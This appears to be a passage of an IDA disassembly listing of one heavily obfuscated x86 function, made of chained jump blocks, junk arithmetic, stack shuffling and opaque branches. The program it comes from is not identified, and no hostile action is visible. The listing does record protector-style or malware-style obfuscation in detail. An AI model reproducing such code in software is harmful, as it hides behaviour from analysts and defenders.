loc_5A2429:				; CODE XREF: sub_58A891+17C93j
		xchg	ebx, [esp+0C8h+var_CA+2]
		jmp	loc_59CD38
; ---------------------------------------------------------------------------


loc_5A2431:				; CODE XREF: sub_58A891+2043Aj
		jmp	loc_5A6311
; ---------------------------------------------------------------------------


loc_5A2436:				; CODE XREF: sub_58A891+14363j
		mov	[esp+8Eh+var_90+2], ecx
		mov	ecx, esp
		jmp	loc_5A0F51
; ---------------------------------------------------------------------------


loc_5A2440:				; CODE XREF: sub_58A891+11DC6j
					; sub_58A891+27416j
		sub	esp, 4
		mov	[esp+6Eh+var_70+2], ebp
		mov	ebp, edi
		jmp	loc_5A0D73
; ---------------------------------------------------------------------------


loc_5A2450:				; CODE XREF: sub_58A891+15D5Fj
		mov	edi, 486A6FF9h
		jmp	loc_5B0AF7
; ---------------------------------------------------------------------------


loc_5A245A:				; CODE XREF: sub_58A891+20835j
		push	ecx
		push	edi
		mov	edi, 77AD53D3h
		jmp	loc_5B15DA
; ---------------------------------------------------------------------------


loc_5A2466:				; CODE XREF: sub_58A891+225BDj
		add	esp, 4
		push	8C9h
		jmp	loc_5A7D3C
; ---------------------------------------------------------------------------


loc_5A2476:				; CODE XREF: sub_58A891+1530Fj
		sub	esp, 4
		mov	[esp+0AEh+var_AE], esi
		mov	esi, 25B17A28h
		jmp	loc_59F764
; ---------------------------------------------------------------------------


loc_5A2486:				; CODE XREF: sub_58A891+266F2j
		pop	[esp+0AEh+var_AE]
		pop	esp
		jmp	loc_5AC7F2
; ---------------------------------------------------------------------------


loc_5A248F:				; CODE XREF: sub_58A891+17DDCj
		push	ebp
		jmp	loc_5A1A38
; ---------------------------------------------------------------------------


loc_5A2495:				; CODE XREF: sub_58A891+1E796j
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp+0AAh+var_AA]
		pop	esp
		mov	[esp+0A6h+var_A6], ebx
		push	edi
		mov	edi, 50183E50h
		mov	ebx, 0C3BFB177h
		jmp	loc_5A64C3
; ---------------------------------------------------------------------------


loc_5A24B8:				; CODE XREF: sub_58A891+1D048j
		mov	edx, 23931A06h
		mov	edi, edx
		jmp	loc_5AC00A
; ---------------------------------------------------------------------------


loc_5A24C4:				; CODE XREF: sub_58A891+13E34j
		push	esi
		jmp	loc_5A67A7
; ---------------------------------------------------------------------------


loc_5A24CA:				; CODE XREF: sub_58A891+1501Aj
		inc	bl
		jmp	loc_59CA00
; ---------------------------------------------------------------------------


loc_5A24D1:				; CODE XREF: sub_58A891+17D6Fj
		xor	esi, 60AC495Bh
		add	ebp, esi
		mov	esi, [esp+4Ah+var_4C+2]
		add	esp, 4
		jmp	loc_59C58A
; ---------------------------------------------------------------------------


loc_5A24E4:				; CODE XREF: sub_58A891:loc_5AC88Bj
		shl	ebx, 6
		push	5B3Bh
		mov	[esp+4Ah+var_4C+2], ebp
		push	eax
		push	73D16761h
		pop	eax
		shr	eax, 8
		jnp	loc_5A64FF
		jmp	loc_5A3D98
; ---------------------------------------------------------------------------
		mov	ebx, esp
		jmp	loc_5AB6E8
; ---------------------------------------------------------------------------
		push	esp


loc_5A250C:				; CODE XREF: sub_58A891+1EC2Bj
		pop	ebp
		add	esp, 4
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_59C867
; ---------------------------------------------------------------------------


loc_5A2521:				; CODE XREF: sub_58A891+1F60Cj
		add	ebx, 4
		jmp	loc_5A2429
; ---------------------------------------------------------------------------


loc_5A2529:				; CODE XREF: sub_58A891+1EED2j
		pop	ebx
		sub	ebx, 0E1776829h
		sub	eax, 31782F70h
		jmp	loc_5A1716
; ---------------------------------------------------------------------------


loc_5A253A:				; CODE XREF: sub_58A891+1A579j
		pop	ecx
		jmp	loc_5AF4B8
; ---------------------------------------------------------------------------


loc_5A2540:				; CODE XREF: sub_58A891+13EA7j
		sub	ebx, 1
		push	eax
		mov	eax, 445A29A6h
		jmp	loc_59C017
; ---------------------------------------------------------------------------


loc_5A254E:				; CODE XREF: sub_58A891+22452j
		mov	ebx, edx
		pop	edx
		add	ebp, ebx
		pop	ebx
		xchg	ebp, [esp+9Ch+var_9E+2]
		mov	esp, [esp+9Ch+var_9E+2]
		add	al, 3
		sub	al, 88h
		sub	al, dl
		jmp	loc_5AE521
; ---------------------------------------------------------------------------


loc_5A2565:				; CODE XREF: sub_58A891+1E8E1j
		mov	ebx, 4
		add	ecx, ebx
		pop	ebx
		xchg	ecx, [esp+98h+var_98]
		pop	esp
		add	eax, 4
		jmp	loc_5A693A
; ---------------------------------------------------------------------------


loc_5A257B:				; CODE XREF: sub_58A891+23B45j
					; sub_58A891+256A2j
		push	edx
		jmp	loc_59FF5D
; ---------------------------------------------------------------------------


loc_5A2581:				; CODE XREF: sub_58A891+1A3A9j
					; sub_58A891+27730j
		xchg	eax, [esp+98h+var_98]
		pop	esp
		mov	[esp+94h+var_94], edx
		push	ecx
		push	esi
		push	eax
		mov	eax, 77E024D7h
		mov	esi, 29980657h
		xor	esi, eax
		pop	eax
		push	esi
		pop	ecx
		pop	esi
		inc	ecx
		jge	loc_5A4309
		xor	ecx, 5E7822B9h
		mov	edx, ecx
		pop	ecx
		mov	ecx, ebx
		and	al, 87h


loc_5A25AF:				; CODE XREF: sub_58A891+15527j
		pop	ebx
		shr	ebx, 3
		jp	loc_5ADDF9
		neg	ebx
		jmp	loc_5AE92D
; ---------------------------------------------------------------------------


loc_5A25C0:				; CODE XREF: sub_58A891+16314j
					; sub_58A891+25B26j
		mov	ebx, ebp
		push	[esp+0Ah+var_C+2]
		pop	ebp
		add	esp, 4
		add	esi, ebx
		pop	ebx
		xor	esi, [esp+2+var_4+2]
		xor	[esp+2+var_4+2], esi
		jmp	loc_5B146C
; ---------------------------------------------------------------------------


loc_5A25D7:				; CODE XREF: sub_58A891+157D7j
		mov	ah, 0AFh
		mov	dl, 4Bh
		push	ax
		mov	ah, 10h
		sub	dl, ah
		pop	ax
		add	dl, 0C3h
		add	dl, 35h
		sub	dl, ah
		sub	dl, 35h
		sub	dl, 0C3h
		push	ax
		mov	ah, 10h
		jmp	loc_5B11EC
; ---------------------------------------------------------------------------


loc_5A25FA:				; CODE XREF: sub_58A891+1D32Cj
		or	esi, 7D9C22A7h
		jmp	loc_5A24D1
; ---------------------------------------------------------------------------


loc_5A2605:				; CODE XREF: sub_58A891+27B35j
		mov	edi, esp
		add	edi, 4
		push	433Fh
		mov	[esp+24h+var_24], ebp
		push	edi
		sub	esp, 4
		mov	[esp+2Ch+var_2C], esi
		mov	esi, 0FD922D7h
		not	esi
		dec	esi
		jg	loc_59D8F7
		jmp	loc_5B2326
; ---------------------------------------------------------------------------


loc_5A2632:				; CODE XREF: sub_58A891+17B1Cj
		pop	esp
		jmp	loc_5B285D
; ---------------------------------------------------------------------------


loc_5A2638:				; CODE XREF: sub_58A891+124EBj
					; sub_58A891+14833j ...
		add	esi, 70D475EEh
		sub	esi, ebp
		sub	esi, 70D475EEh
		pop	ebp
		add	esi, ebx
		add	esi, 3B7F512Dh
		push	[esp+0AEh+var_AE]
		jmp	loc_5AFE9C
; ---------------------------------------------------------------------------


loc_5A2657:				; CODE XREF: sub_58A891+27751j
		push	9A2h
		mov	[esp+0B6h+var_B6], esi
		push	esp
		pop	esi
		sub	esp, 4
		jmp	loc_5A10C5
; ---------------------------------------------------------------------------


loc_5A2669:				; CODE XREF: sub_58A891+1FAA8j
		push	[esp+0BAh+var_BA]
		pop	ecx
		jmp	loc_5A248F
; ---------------------------------------------------------------------------


loc_5A2672:				; CODE XREF: sub_58A891+22EA7j
					; sub_58A891+24209j
		add	edx, 4
		xchg	edx, [esp+0BAh+var_BA]
		pop	esp
		not	cl
		jmp	loc_5A528A
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcr	word ptr [esp+0B4h+var_B6+2], cl
		pushf
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5A2693:				; CODE XREF: sub_58A891+250B0j
		push	esp
		jmp	loc_5B047E
; ---------------------------------------------------------------------------


loc_5A2699:				; CODE XREF: sub_58A891+1ACF1j
		pop	ecx
		pop	[esp+0B8h+var_BA+2]
		pop	esp
		jmp	loc_5A45AF
; ---------------------------------------------------------------------------


loc_5A26A3:				; CODE XREF: sub_58A891+13EC3j
		pop	ebp
		add	esi, 0D8E88C41h
		add	ebx, 7AB2E1Ah
		jmp	loc_5ABDAF
; ---------------------------------------------------------------------------


loc_5A26B5:				; CODE XREF: sub_58A891:loc_5A895Ej
		jmp	loc_5AD01F
; ---------------------------------------------------------------------------


loc_5A26BA:				; CODE XREF: sub_58A891:loc_5AE9D7j
		push	edi
		mov	edi, 0BAF0AA6h
		xor	edi, 0BAE2AA2h
		xor	esi, edi
		pop	edi
		add	[esp+9Ch+var_98], 11C13C87h
		add	[esp+9Ch+var_98], esi
		push	edx
		mov	edx, 11C13C87h
		sub	[esp+0A0h+var_98], edx
		jmp	loc_5A1820
; ---------------------------------------------------------------------------


loc_5A26E4:				; CODE XREF: sub_58A891+26C38j
		mov	bl, 32h
		mov	dl, bl
		mov	ebx, [esp+0A0h+var_A2+2]
		push	ebp
		push	esp
		mov	ebp, [esp+0A8h+var_AA+2]
		jmp	loc_5A799F
; ---------------------------------------------------------------------------


loc_5A26F5:				; CODE XREF: sub_58A891+21FE6j
		push	68F4h
		mov	[esp+0ACh+var_AE+2], edx
		mov	edx, 2
		add	edi, edx
		pop	edx
		xor	edi, [esp+0A8h+var_AA+2]
		jmp	loc_5A414E
; ---------------------------------------------------------------------------


loc_5A270D:				; CODE XREF: sub_58A891+13DEDj
					; sub_58A891+1963Aj
		pop	edi
		sub	eax, 41927652h
		add	eax, ecx
		add	eax, 41927652h
		mov	ecx, [esp+0AEh+var_AE]
		add	esp, 4
		sub	esp, 4
		mov	[esp+0AEh+var_AE], ebp
		push	361A98DBh
		push	[esp+0B2h+var_B2]
		pop	ebp
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		push	edi
		mov	edi, 24C04403h
		sub	edi, 0FA80ED6h
		xor	edi, 74564EBEh
		jmp	loc_5AD179
; ---------------------------------------------------------------------------


loc_5A2752:				; CODE XREF: sub_58A891+1F56Fj
		sub	esi, 58EE6375h
		push	7E9Dh
		mov	[esp+0BEh+var_BE], edx
		mov	edx, 35212D3Ch
		add	esi, edx
		pop	edx
		jmp	loc_5B2EC7
; ---------------------------------------------------------------------------


loc_5A276D:				; CODE XREF: sub_58A891+2784Cj
		add	ebp, 6E6A0A2Ch
		add	ebp, 440CEE7Fh
		jmp	loc_5B27C5
; ---------------------------------------------------------------------------


loc_5A277E:				; CODE XREF: sub_58A891+16AC1j
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5A2783:				; CODE XREF: sub_58A891+17990j
		add	edx, ecx
		push	[esp+9Eh+var_9E]
		pop	ecx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	edi
		jmp	loc_59C9CC
; ---------------------------------------------------------------------------


loc_5A2798:				; CODE XREF: sub_58A891+16F55j
		mov	edi, 416C36DBh
		and	edi, 23646470h
		jmp	loc_5A0E10
; ---------------------------------------------------------------------------


loc_5A27A8:				; CODE XREF: sub_58A891+21CD2j
		pop	ecx
		push	ebx
		neg	[esp+66h+var_68+2]
		mov	ebx, [esp+66h+var_68+2]
		add	esp, 4
		add	ebx, 1
		dec	ebx
		and	ebx, 74B5717Eh
		or	ebx, 0AF70F64h
		sub	ebx, 74F5C296h
		sub	edi, ebx
		pop	ebx
		and	edi, 14373424h
		sub	esp, 4
		mov	[esp+62h+var_64+2], ebx
		mov	ebx, 3535445Ah
		jmp	loc_5AABBA
; ---------------------------------------------------------------------------


loc_5A27E8:				; CODE XREF: sub_58A891+27C08j
		sub	ecx, 70EC187Fh
		pop	edi
		sub	ebx, ecx
		pop	ecx
		add	ebx, edx
		add	ebx, 1B4845F6h
		jmp	loc_5A447D
; ---------------------------------------------------------------------------


loc_5A27FF:				; CODE XREF: sub_58A891+1338Fj
					; sub_58A891+1EC5Ej
		push	eax
		mov	eax, 62C90980h
		sub	eax, 2B0033E3h
		push	ecx
		mov	ecx, 66965201h
		inc	ecx
		add	ecx, 267F06E3h
		add	ecx, 43C57EA0h
		shr	ecx, 1
		not	ecx
		xor	ecx, 0A05A41A4h
		sub	eax, ecx
		pop	ecx
		push	eax
		pop	ecx
		pop	eax
		add	edi, ecx
		mov	ecx, [esp+22h+var_24+2]
		add	esp, 4
		add	edi, 4
		xchg	edi, [esp+1Eh+var_20+2]
		jmp	loc_5AD42F
; ---------------------------------------------------------------------------


loc_5A2843:				; CODE XREF: sub_58A891+180CDj
		add	eax, 10F27487h
		sub	eax, 12142FD1h
		sub	eax, 14D84CD2h
		jmp	loc_5B2A42
; ---------------------------------------------------------------------------


loc_5A2857:				; CODE XREF: sub_58A891+13DF9j
		inc	ecx
		jmp	loc_5A9FD1
; ---------------------------------------------------------------------------


loc_5A285D:				; CODE XREF: sub_58A891+182FCj
		push	esp
		jmp	loc_5A3A13
; ---------------------------------------------------------------------------


loc_5A2863:				; CODE XREF: sub_58A891+23C95j
		mov	[esp+0B6h+var_B6], ebx
		mov	bh, 3
		sub	al, bh
		pop	ebx
		mov	dx, word ptr [esp+0B2h+var_B2]
		add	esp, 2
		push	656Ah
		mov	[esp+0B2h+var_B2], edx
		jmp	loc_5AB397
; ---------------------------------------------------------------------------


loc_5A2882:				; CODE XREF: sub_58A891+24785j
					; sub_58A891+260BCj
		mov	ebx, [esp+0B2h+var_B2]
		add	esp, 4
		pop	[esp+0AEh+var_AE]
		mov	eax, [esp+0AAh+var_AA]
		sub	esp, 4
		mov	[esp+0AEh+var_AE], ecx
		mov	ecx, esp
		jmp	loc_5AF5C3
; ---------------------------------------------------------------------------


loc_5A289E:				; CODE XREF: sub_58A891+1507Cj
		add	ebx, 7B274597h
		jmp	loc_5A07D0
; ---------------------------------------------------------------------------


loc_5A28A9:				; CODE XREF: sub_58A891+27F28j
		mov	[esp+4Eh+var_50+2], ebp
		push	ebx
		push	6A227985h
		mov	ebx, [esp+56h+var_58+2]
		add	esp, 4
		sub	ebx, 6E721357h
		jb	loc_5A7C6B
		push	eax
		mov	eax, 0DDB3193Ah
		jmp	loc_59F7DD
; ---------------------------------------------------------------------------
		add	edx, ecx
		pop	ebx


loc_5A28D2:				; CODE XREF: sub_58A891+1FD63j
		pop	edi
		push	edx
		mov	edx, 4376705Fh
		sub	edx, 0FFFFFFFFh
		sub	edx, 2A6F4693h
		jmp	loc_5A779D
; ---------------------------------------------------------------------------


loc_5A28E7:				; CODE XREF: sub_58A891+1FB70j
		push	eax
		jmp	loc_5A5BA3
; ---------------------------------------------------------------------------


loc_5A28ED:				; CODE XREF: sub_58A891+27785j
		add	ebp, edi
		mov	edi, [esp+56h+var_58+2]
		add	esp, 4
		xchg	ebp, [esp+52h+var_54+2]
		pop	esp
		push	ecx
		push	esi
		mov	esi, 6217523Ah
		sub	esi, 92D10F2h
		mov	ecx, esi
		jmp	loc_5A7A2A
; ---------------------------------------------------------------------------


loc_5A2910:				; CODE XREF: sub_58A891+1C79Bj
		push	ebx
		push	ebp
		pop	ebx
		mov	edi, ebx
		pop	ebx
		pop	ebp
		jmp	loc_5A42B5
; ---------------------------------------------------------------------------


loc_5A291C:				; CODE XREF: sub_58A891+1E0C8j
		push	edx
		jmp	loc_59C993
; ---------------------------------------------------------------------------


loc_5A2922:				; CODE XREF: sub_58A891:loc_5A37B7j
					; sub_58A891+1E08Ej
		push	edx
		push	2E55h
		mov	[esp+5Eh+var_60+2], esp
		jmp	loc_5AC3EE
; ---------------------------------------------------------------------------


loc_5A2930:				; CODE XREF: sub_58A891+16C42j
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5A2935:				; CODE XREF: sub_58A891+165D4j
		push	ecx
		jmp	loc_59F402
; ---------------------------------------------------------------------------


loc_5A293B:				; CODE XREF: sub_58A891+11E1Aj
		mov	dh, ah
		jmp	loc_5A3D66
; ---------------------------------------------------------------------------


loc_5A2942:				; CODE XREF: sub_58A891+1BD9Dj
		xor	eax, [esp+6Ch+var_6C]
		xor	[esp+6Ch+var_6C], eax
		jmp	loc_5ADC6A
; ---------------------------------------------------------------------------


loc_5A294D:				; CODE XREF: sub_58A891+23AAAj
		add	esp, 4
		jmp	loc_5AAAF6
; ---------------------------------------------------------------------------


loc_5A2958:				; CODE XREF: sub_58A891+1FAD8j
		pop	esi
		add	eax, 2D63919h
		jmp	loc_5A2843
; ---------------------------------------------------------------------------


loc_5A2963:				; CODE XREF: sub_58A891+149EBj
		mov	eax, edi
		pop	edi
		dec	eax
		neg	eax
		jmp	loc_5A94AD
; ---------------------------------------------------------------------------


loc_5A296E:				; CODE XREF: sub_58A891+14782j
		shr	edi, 4
		jmp	loc_5A852E
; ---------------------------------------------------------------------------


loc_5A2976:				; CODE XREF: sub_58A891+26970j
		push	[esp+0CEh+var_CE]
		jmp	loc_5A0E82
; ---------------------------------------------------------------------------


loc_5A297E:				; CODE XREF: sub_58A891+1EF68j
		push	0B73h
		mov	[esp+0D6h+var_D6], ebp
		jmp	loc_5AE78C
; ---------------------------------------------------------------------------


loc_5A298B:				; CODE XREF: sub_58A891:loc_5A0E43j
		xor	ecx, 3E8867C8h
		jmp	loc_5A8420
; ---------------------------------------------------------------------------


loc_5A2996:				; CODE XREF: sub_58A891+21FDEj
		pop	edx
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+56h+var_58+2]
		jmp	loc_5A803D
; ---------------------------------------------------------------------------


loc_5A29AE:				; CODE XREF: sub_58A891+1E801j
					; sub_58A891+20A97j
		push	ecx
		jmp	loc_5AA070
; ---------------------------------------------------------------------------


loc_5A29B4:				; CODE XREF: sub_58A891+23660j
		add	ecx, 4
		jmp	loc_5A56FE
; ---------------------------------------------------------------------------


loc_5A29BF:				; CODE XREF: sub_58A891+1B139j
					; sub_58A891+247B0j
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+5Eh+var_60+2]
		jmp	loc_59FD84
; ---------------------------------------------------------------------------


loc_5A29D6:				; CODE XREF: sub_58A891+208B5j
		add	esp, 4
		pop	ecx
		xor	edi, [esp+56h+var_58+2]
		xor	[esp+56h+var_58+2], edi
		jmp	loc_5A211B
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+56h+var_58+2]
		sub	esp, 4
		mov	[esp+5Ah+var_5C+2], esi
		push	2C85h
		jmp	loc_5A97E8
; ---------------------------------------------------------------------------


loc_5A29F9:				; CODE XREF: sub_58A891+15863j
		add	esp, 4
		jmp	loc_5A11F5
; ---------------------------------------------------------------------------


loc_5A2A04:				; CODE XREF: sub_58A891+20413j
		mov	esi, 6C643A29h
		add	esi, 14C20719h
		push	edi
		push	eax
		push	5D6F0E0Fh
		pop	eax
		and	eax, 8A046C5h
		jnz	loc_5A8774
		not	eax
		add	eax, 17140B24h
		mov	edi, eax
		mov	ecx, esi


loc_5A2A2D:				; CODE XREF: sub_58A891+24E34j
		add	esi, eax
		pop	eax
		push	edi
		jmp	loc_5B04FC
; ---------------------------------------------------------------------------


loc_5A2A36:				; CODE XREF: sub_58A891+23625j
		mov	eax, edi
		jmp	loc_5AD1B8
; ---------------------------------------------------------------------------


loc_5A2A3D:				; CODE XREF: sub_58A891+199D4j
		pop	ebx
		dec	edi
		jmp	loc_5A560A
; ---------------------------------------------------------------------------


loc_5A2A44:				; CODE XREF: sub_58A891+20621j
		xor	edx, ebp
		pop	ebp
		add	ebx, 40954F88h
		sub	ebx, edx
		sub	ebx, 40954F88h
		jmp	loc_5A4D0A
; ---------------------------------------------------------------------------


loc_5A2A5A:				; CODE XREF: sub_58A891+1428Bj
		mov	eax, esp
		add	eax, 4
		jmp	loc_5B0937
; ---------------------------------------------------------------------------


loc_5A2A66:				; CODE XREF: sub_58A891+124AFj
		mov	[esp+0AEh+var_AE], edx
		push	esp
		mov	edx, [esp+0B2h+var_B2]
		add	esp, 4
		push	eax
		mov	eax, 4
		sub	edx, 1E374231h
		add	edx, eax
		add	edx, 1E374231h
		push	[esp+0B2h+var_B2]
		pop	eax
		jmp	loc_59CA21
; ---------------------------------------------------------------------------


loc_5A2A90:				; CODE XREF: sub_58A891+1F7DAj
		push	[esp+0B2h+var_B2]
		pop	esi
		jmp	loc_5A3087
; ---------------------------------------------------------------------------


loc_5A2A99:				; CODE XREF: sub_58A891+1B0E2j
		push	ebx
		mov	ebx, 4
		add	ecx, ebx
		pop	ebx
		add	ecx, 4
		xor	ecx, [esp+0B2h+var_B2]
		xor	[esp+0B2h+var_B2], ecx
		xor	ecx, [esp+0B2h+var_B2]
		jmp	loc_5AB472
; ---------------------------------------------------------------------------


loc_5A2AB3:				; CODE XREF: sub_58A891+1B144j
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp+0B6h+var_B6]
		pop	esp
		jmp	loc_5B2489
; ---------------------------------------------------------------------------


loc_5A2ACB:				; CODE XREF: sub_58A891+1B6A1j
		jnp	loc_5A454F
		neg	ebp
		jns	loc_5A7C20
		jmp	loc_5A3A21
; ---------------------------------------------------------------------------


loc_5A2ADE:				; CODE XREF: sub_58A891+13333j
					; sub_58A891+273A2j
		xor	bx, 5567h
		not	bx
		not	bx
		add	bx, 1DFh
		sub	esp, 2
		mov	word ptr [esp+2Ah+var_2C+2], bx
		xchg	bx, word ptr [esp+2Ah+var_2C+2]
		neg	bx
		xchg	bx, word ptr [esp+2Ah+var_2C+2]
		pop	bx
		push	edx
		push	small 10E7h
		pop	dx
		inc	dx
		xor	dx, 79E7h
		sub	dx, 2EF5h
		sub	bx, dx
		pop	edx
		add	bp, bx
		pop	ebx
		push	ebx
		mov	bx, 3F07h
		xor	bx, 79B4h
		add	ax, bx
		pop	ebx
		sub	ax, 4A0Ah
		jmp	loc_5A008B
; ---------------------------------------------------------------------------


loc_5A2B34:				; CODE XREF: sub_58A891+168DBj
		add	[esp+0A2h+var_A2], 4
		pop	edx
		push	ecx
		mov	ecx, 77034884h
		push	edx
		mov	edx, 72D727CEh
		sub	edx, 6D8AE067h
		add	ecx, edx
		pop	edx
		add	ecx, 299236BEh
		jmp	loc_5A5C47
; ---------------------------------------------------------------------------


loc_5A2B5C:				; CODE XREF: sub_58A891+11C06j
		push	[esp+2Eh+var_30+2]
		pop	eax
		jmp	loc_59E006
; ---------------------------------------------------------------------------


loc_5A2B65:				; CODE XREF: sub_58A891+11B34j
					; sub_58A891+236B8j
		mov	[esp+0], ebx
		mov	ebx, esp
		add	ebx, 4
		sub	esp, 4
		mov	[esp+2+var_4+2], edi
		mov	edi, 4
		jmp	loc_59DEF2
; ---------------------------------------------------------------------------


loc_5A2B80:				; CODE XREF: sub_58A891+24195j
		pop	dword ptr [edi+40h]
		push	dword ptr [esp+0]
		mov	eax, [esp+2+var_4+2]
		add	esp, 4
		push	ebx
		jmp	loc_5A285D
; ---------------------------------------------------------------------------


loc_5A2B92:				; CODE XREF: sub_58A891+1EF7Bj
		mov	[esp+2+var_4+2], edx
		push	504h
		jmp	loc_5A8573
; ---------------------------------------------------------------------------


loc_5A2B9F:				; CODE XREF: sub_58A891+13D95j
		xchg	edi, [esp+0B6h+var_B6]
		jmp	loc_5A0D5A
; ---------------------------------------------------------------------------


loc_5A2BA7:				; CODE XREF: sub_58A891+171CBj
		inc	esi
		jns	loc_59F231
		push	ebp
		mov	ebp, 29193C4Ah
		xor	ebp, 122663D5h
		or	esi, ebp


loc_5A2BBC:				; CODE XREF: sub_58A891+1DF6Fj
		sub	cl, ah
		mov	eax, [esp+102h+var_104+2]
		add	esp, 4
		push	ax
		jmp	loc_5AD882
; ---------------------------------------------------------------------------


loc_5A2BCB:				; CODE XREF: sub_58A891+21DC7j
		mov	bl, al
		mov	dl, bl
		pop	ebx
		pop	eax
		mov	bl, 0DEh
		xor	bl, dl
		pop	edx
		mov	ch, 9Ah
		neg	ch
		jmp	loc_5A9536
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcr	byte ptr [esp+0F2h+var_F4+2], cl
		pushf
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5A2BEE:				; CODE XREF: sub_58A891+271D9j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xor	ecx, [esp+0FAh+var_FC+2]
		xor	[esp+0FAh+var_FC+2], ecx
		xor	ecx, [esp+0FAh+var_FC+2]
		jmp	loc_5B257C
; ---------------------------------------------------------------------------


loc_5A2C08:				; CODE XREF: sub_58A891+124CCj
		shl	ebx, 2
		add	ebx, 34FB3E3h
		add	ecx, ebx
		pop	ebx
		add	ebx, 2CC328A9h
		sub	ebx, ecx
		sub	ebx, 2CC328A9h
		mov	ecx, [esp+0AAh+var_AA]
		add	esp, 4
		push	edx
		mov	edx, 2420123Eh
		jmp	loc_5A59CF
; ---------------------------------------------------------------------------


loc_5A2C36:				; CODE XREF: sub_58A891+13F19j
		mov	ch, al
		pop	eax
		jmp	loc_5A1426
; ---------------------------------------------------------------------------


loc_5A2C3E:				; CODE XREF: sub_58A891+141A6j
		add	esp, 4
		xor	eax, 30BE3E96h
		mov	ebp, eax
		mov	eax, [esp+2Eh+var_30+2]
		add	esp, 4
		xor	ebp, esi
		push	[esp+2Ah+var_2C+2]
		jmp	loc_5AB39E
; ---------------------------------------------------------------------------


loc_5A2C5B:				; CODE XREF: sub_58A891+13901j
		push	eax
		push	edi
		mov	edi, 52980CA1h
		jmp	loc_59DBFC
; ---------------------------------------------------------------------------


loc_5A2C67:				; CODE XREF: sub_58A891+25098j
		mov	[esp+3Eh+var_40+2], edx
		jmp	loc_5AF29A
; ---------------------------------------------------------------------------


loc_5A2C6F:				; CODE XREF: sub_58A891+1A871j
		add	eax, 67AA6670h
		sub	eax, 758D62EAh
		push	[esp+3Eh+var_40+2]
		jmp	loc_5AE574
; ---------------------------------------------------------------------------


loc_5A2C81:				; CODE XREF: sub_58A891+1FE49j
		jmp	loc_5A0DD7
; ---------------------------------------------------------------------------


loc_5A2C86:				; CODE XREF: sub_58A891+21784j
		xor	al, bl
		sub	esp, 4
		mov	[esp+46h+var_48+2], ebx
		push	0AF9h
		mov	[esp+4Ah+var_4C+2], ecx
		jmp	loc_5ABA8B
; ---------------------------------------------------------------------------


loc_5A2C9E:				; CODE XREF: sub_58A891+169A0j
		xor	esi, [esp+68h+var_68]
		mov	esp, [esp+68h+var_68]
		mov	cx, word ptr [esp+68h+var_68]
		jmp	loc_5A4FC7
; ---------------------------------------------------------------------------


loc_5A2CAD:				; CODE XREF: sub_58A891+26BCBj
		jnz	loc_5A960B
		push	edi
		jmp	loc_5B108E
; ---------------------------------------------------------------------------
		add	ebp, ebx
		mov	eax, ebp
		mov	edx, ebx


loc_5A2CBF:				; CODE XREF: sub_58A891+1CA0Cj
		push	esi
		mov	esi, 72D7508Eh
		shl	esi, 1
		jz	loc_5A7A12
		sub	esi, 6D246CABh
		jl	loc_5A7BB6
		inc	esi
		jl	loc_5ACF59
		jmp	loc_5A64D8
; ---------------------------------------------------------------------------
		mov	cl, ah


loc_5A2CE7:				; CODE XREF: sub_58A891+19A2Dj
		mov	esi, 1B217A5Fh
		sub	edi, esi
		pop	esi
		push	1564h
		mov	[esp+70h+var_70], ebx
		mov	ebx, 4EA73010h
		add	ebx, 116B10F0h
		add	ebx, 1E002376h
		add	edi, ebx
		pop	ebx
		sub	edi, 21B73D95h
		sub	esp, 4
		mov	[esp+70h+var_70], esi
		mov	esi, 21333553h
		xchg	edx, esi
		not	edx
		xchg	edx, esi
		xchg	edi, esi
		not	edi
		xchg	edi, esi
		add	esi, 45015496h
		and	esi, 19BE05E0h
		xor	esi, 253F3C91h
		or	edi, esi
		mov	esi, [esp+70h+var_70]
		jmp	loc_5A73F4
; ---------------------------------------------------------------------------


loc_5A2D44:				; CODE XREF: sub_58A891+23BF1j
		add	al, 0BAh
		jmp	loc_5AD847
; ---------------------------------------------------------------------------


loc_5A2D4B:				; CODE XREF: sub_58A891+20E52j
		pop	ebp
		jmp	loc_5A4A97
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+6Ch+var_6C]
		push	ebp
		jmp	loc_5A8D70
; ---------------------------------------------------------------------------


loc_5A2D5B:				; CODE XREF: sub_58A891+1225Dj
		sub	ebp, 4
		push	ebp
		push	[esp+0BEh+var_BA]
		pop	ebp
		jmp	loc_5A086E
; ---------------------------------------------------------------------------


loc_5A2D6C:				; CODE XREF: sub_58A891+13D21j
		add	[esp+5Eh+var_5C+2], ebp
		sub	[esp+5Eh+var_5C+2], 35B2461Fh
		pop	ebp
		pop	esi
		push	ebp
		mov	ebp, 4
		jmp	loc_5AB8AF
; ---------------------------------------------------------------------------


loc_5A2D85:				; CODE XREF: sub_58A891+2800Ej
		add	ebx, 89208025h
		mov	edx, ebx
		mov	ebx, [esp+5Ah+var_5C+2]
		add	esp, 4
		push	esi
		push	edx
		jmp	loc_5A5D05
; ---------------------------------------------------------------------------


loc_5A2D9D:				; CODE XREF: sub_58A891+1A856j
		xchg	esi, [esp+5Eh+var_60+2]
		mov	esp, [esp+5Eh+var_60+2]
		push	eax
		pop	ecx
		mov	eax, [esp+5Eh+var_60+2]
		push	esi
		mov	esi, esp
		jmp	loc_5A5B7A
; ---------------------------------------------------------------------------


loc_5A2DB0:				; CODE XREF: sub_58A891:loc_5AA349j
		sub	ecx, 23D47AAEh
		jg	loc_5A3F1D
		shl	ecx, 3
		jns	loc_5A30EE
		add	ecx, 92CCCE1Fh
		jmp	loc_5A6E3D
; ---------------------------------------------------------------------------


loc_5A2DD0:				; CODE XREF: sub_58A891+13B6Aj
					; sub_58A891+191C8j
		inc	esi
